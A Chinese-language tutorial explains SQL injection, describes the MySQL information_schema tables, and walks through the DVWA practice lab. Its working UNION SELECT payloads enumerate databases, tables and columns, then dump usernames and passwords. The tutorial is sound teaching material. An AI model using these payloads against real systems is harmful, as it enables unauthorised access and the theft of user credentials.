SQL注入是由于程序员过于相信用户输入的数据所产生的。
假设后台查询语句如下:
SELECT USERNAME,USERID FROM USERS WHERE USERS_ID =
而user_id就是用户所输入的地方,如果id存在,则返回表里的全部列,如果不存在则返回空。
如果输入1,语句如下:
SELECT USERNAME,USERID FROM USERS WHERE USERS_ID = 1
这样是没问题的,但是如果是恶意用户输入SQL语句就会导致SQL注入
如果输入1 AND 0 UNION SELECT PASSWORD,USERNAME FROM USERS,查询语句就会变为:
SELECT USERNAME,USERID FROM USERS WHERE USERS_ID = 1 AND 0 UNION SELECT PASSWORD,USERNAME FROM USERS
由于AND 0结果永远是false,所以第一个查询返回的是一个空结果。
然后union select password,username from users 查询用户的password和username。
这个时候就获得了用户密码和用户名。
那么问题来了,后台查询语句是我们并不知道的,那么我如何知道有password字段和users表呢。
[2] information_schema库
如果使用MYSQL数据库,在数据中会自动生成一个information_shema库。
这个库就存放着所有库的库名,所有表的表名。
简单的查看一些这个库里面的表。
不过不需要记住那么多张表,只需要记住(schemata,tables,columns)这三张表就行。
schemata表:
查看所有schemata里面的schema_name,这就是全部数据库名。
tables表:
其中table_name字段存放了所有表名,table_schema字段存放了这张表的数据库名。
columns表:
其中table_name是表名,column_name是字段名:
[3] 用DVWA靶场进行注入
1 先提交正常的数据进行查询
2 加上单引号查询
报错,不能有3个单引号(因为mysql中的’ 都必须是成对的)
加上两个单引号查询(返回正常)
3 使用order by 判断有多少个字段
order by 3报错 oreder by 2正常(说明查询语句是2个字段)
4 使用联合查询
可以看到联合查询结果被显示出来
5 查询全部数据库名
database()函数返回当前选择的数据库名
1' union select schema_name,1 from information_schema.schemata # 获取全部数据库名
1' union select database(),2 # 获取当前选择数据库名
全部数据库返回结果
当前数据库返回结果
6 查询当前数据库下所有表名,当前数据库是(dvwa)
tables表里面的 table_name是全部表名 使用where限制table_schema = 当前数据库
这样就可以返回当前数据的全部数据了
1' union select table_name,2 from information_schema.tables where table_schema = database() #
7 查询users表下的全部字段名
1' union select column_name,2 from information_schema.columns where table_name = 'users' #
9 查询用户名和用户密码
上面已经得到了表为(users),字段有(password,user)
1' union select password,username from users #